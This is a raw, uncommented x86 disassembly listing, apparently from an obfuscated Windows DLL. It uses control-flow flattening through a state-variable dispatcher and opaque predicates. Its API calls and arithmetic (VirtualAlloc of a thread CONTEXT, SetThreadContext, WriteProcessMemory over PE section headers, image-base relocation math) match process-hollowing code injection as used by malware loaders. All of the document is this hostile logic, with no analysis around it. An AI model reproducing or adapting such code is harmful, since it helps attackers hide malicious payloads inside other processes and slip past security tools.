call dword [sym.imp.KERNEL32.dll_SetThreadContext]
sub esp, 8
mov dword [ebp - 0x168], 0x5f1a2dc
jmp 0x10004ce3
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x168], 0x465c9f4b
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x36e5383c
jmp 0x10004ce3
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0x4031365c
sub edx, 1
add edx, 0x4031365c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd54427fb
mov ecx, 0xfa6f5982
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x30d6cc7f
sub edx, 1
add edx, 0x30d6cc7f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd54427fb
mov ecx, 0x147a94fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
mov dword [eax], 0x10007
mov dword [ebp - 0x168], 0xb652aaf5
jmp 0x10004ce3
mov eax, dword [ebp - 0x140]
imul ecx, dword [ebp - 0x150], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x140]
imul esi, dword [ebp - 0x150], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0x60122ab2
add ecx, edx
add ecx, 0x60122ab2
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x140]
imul edi, dword [ebp - 0x150], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0x579c5a7e
add edx, esi
add edx, 0x579c5a7e
mov esi, dword [ebp - 0x24]
xor edi, edi
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov dword [ebp - 0x168], 0x3fc03967
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x83454477
jmp 0x10004ce3
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x168], 0x8647c27f
jmp 0x10004ce3
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 4]
add eax, 0x613a77c2
sub eax, 8
sub eax, 0x613a77c2
shr eax, 1
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10c]
mov ecx, dword [ecx + 0x34]
add eax, 0x51b9ede1
sub eax, ecx
sub eax, 0x51b9ede1
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x168], 0xd8c06649
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x9874c3ed
jmp 0x10004ce3
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x168], 0x5e82147e
jmp 0x10004ce3
mov dword [ebp - 0x168], 0xfa6f5982
jmp 0x10002460